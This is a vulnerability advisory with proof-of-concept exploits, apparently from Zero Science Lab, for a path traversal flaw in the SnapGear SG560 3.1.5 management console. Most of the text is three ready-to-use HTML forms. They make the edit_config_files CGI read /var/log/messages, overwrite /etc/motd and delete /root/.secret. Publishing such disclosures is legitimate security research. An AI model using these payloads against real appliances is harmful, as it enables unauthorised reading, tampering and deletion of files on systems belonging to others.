# Title: Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read
# Author:LiquidWorm
# Date: 2020-06-04
# Vendor: http://www.securecomputing.com
# CVE: N/A
Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write
Vendor: Secure Computing Corp.
Product web page: http://www.securecomputing.com
Affected version: 3.1.5u1
Summary: The SG gateway appliance range provides Internet security and
privacy of communications for small and medium enterprises, and branch
offices. It simply and securely connects your office to the Internet,
and with its robust stateful firewall, shields your computers from
external threats.
Desc: The application allows the currently logged-in user to edit the
configuration files in the system using the CGI executable 'edit_config_files'
in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete)
are located in the /etc/config/ directory. An attacker can manipulate
the POST request parameters to escape from the restricted environment
by using absolute path and start reading, writing and deleting arbitrary
files on the system.
Tested on: fnord/1.9
Apache 1.3.27 (Unix)
Linux 2.4.31
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5568
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php
14.05.2020
--
Read:
-----
<html>
<body>
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
<input type="hidden" name=".form" value="choices" />
<input type="hidden" name=".page" value="select_file" />
<input type="hidden" name="name$1337" value="/var/log/messages" />
<input type="hidden" name="modify$1337" value="1" />
<input type="hidden" name=".defaultname" value="newitem" />
<input type="submit" value="Read" />
</form>
</body>
</html>
Write/overwrite/move:
---------------------
<html>
<body>
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
<input type="hidden" name=".form" value="edit" />
<input type="hidden" name=".page" value="edit_file" />
<input type="hidden" name="enabled$0" value="" />
<input type="hidden" name="name$0" value="/etc/motd" />
<input type="hidden" name="mode$0" value="" />
<input type="hidden" name="filename" value="/etc/motd" />
<input type="hidden" name="filecontents" value="pwned" />
<input type="hidden" name="finish" value="Finish" />
<input type="hidden" name=".defaultname" value="finish" />
<input type="submit" value="Write" />
</form>
</body>
</html>
Delete:
-------
<html>
<body>
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
<input type="hidden" name=".form" value="choices" />
<input type="hidden" name=".page" value="select_file" />
<input type="hidden" name="name$251" value="/root/.secret" />
<input type="hidden" name="delete$251" value="1" />
<input type="hidden" name=".defaultname" value="newitem" />
<input type="submit" value="Delete" />
</form>
</body>
</html>
